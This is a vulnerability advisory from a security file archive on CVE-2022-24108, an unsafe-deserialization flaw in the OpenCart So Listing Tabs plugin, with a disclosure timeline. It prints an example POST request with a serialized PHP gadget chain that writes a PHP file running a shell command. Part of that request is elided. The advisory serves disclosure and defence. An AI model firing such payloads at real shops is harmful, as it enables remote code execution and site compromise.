OpenCart So Listing Tabs 2.2.0 Unsafe Deserialization

Authored by Daniil Sigalov, Maxim Malkov, Denis Mironov, Dmitry Pavlov, Alexey Smirnov

Posted May 17, 2022

OpenCart So Listing Tabs component versions 2.2.0 and below suffer from a deserialization vulnerability that can allow for arbitrary file writes.

tags | exploit, arbitrary
advisories | CVE-2022-24108
SHA-256 | 3bfd18c825f10a8abfe964c1ea209688517e067de8a3b9c084594fcd34b53d85 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
[-] Affected Versions:

Version 2.2.0 is affected, and prior versions are likely affected too.

[-] Vulnerabilities Description:

Vulnerable component is switching to another tab. To exploit
vulnerability, an attacker may send a POST request (with
application/x-www-form-urlencoded content-type) to AJAX endpoint
(usually "/index.php") with "is_ajax_listing_tabs" parameter set to
"1" and "setting" parameter containing a PHP-serialized object,
which would be deserialized at server-side. Gadget-chains based on PHP
server-side code can be used to gain remote code execution, file
write, DOS, etc.

So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are
available in webapp lifecycle. In source code of Opencart there is a PHP
gadget-chain which allows to write a file to the server.
Using this gadget, an attacker can write .php files with PHP code inside
app's web root and then execute it via requesting them, thus gaining
remote code
execution, which makes insecure deserialization in So Listing Tabs
especially dangerous. Ability to write files can also be used to DOS the
system by writing large files and exhausting disk space, it can be used to
perform XSS attacks by creating HTML files inside web root.

Here is an example of request which will write PHP file on server
in /tmp directory:

---
POST /index.php HTTP/2
Host: 0.0.0.0
Content-Length: 3870
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://0.0.0.0/

is_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&
setting=a%3a74%3a{s%3a6%3a"action"%3bs%3a9%3a"save_edit"%3b...
...
s%3a2%3a"aa"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2
2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%
22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3
2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca
che_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs
%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+
system%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157
---

[-] Solution:

No official solution is currently available.

[-] Disclosure Timeline:

[28/01/2022] - CVE number assigned
[31/01/2022] - Vendor contacted
[02/02/2022] - Vendor asked for description of vulnerability
[02/02/2022] - Send report to vendor
[11/02/2022] - Vendor contacted for asking about updates
[11/02/2022] - Vendor answered that did not get the report
[11/02/2022] - Send report again
[16/02/2022] - Vendor contacted to ask about receiving the report
[17/02/2022] - Automatic generated answer about overloaded system
[07/04/2022] - Vendor contacted again asking for updates
[15/05/2022] - Vendor contacted to notify about public disclosure
[16/05/2022] - Vendor contacted to notify about public disclosure to
enother email
[16/05/2022] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the id CVE-2022-24108 to these vulnerabilities.
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
[-] Credits:

Vulnerability discovered by
    Denis Mironov (SolidSoft LLC),
    Alexey Smirnov (SolidSoft LLC),
    Daniil Sigalov (SolidSoft LLC),
    Dmitry Pavlov (SolidSoft LLC),
    Maxim Malkov (SolidSoft LLC)
```


Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed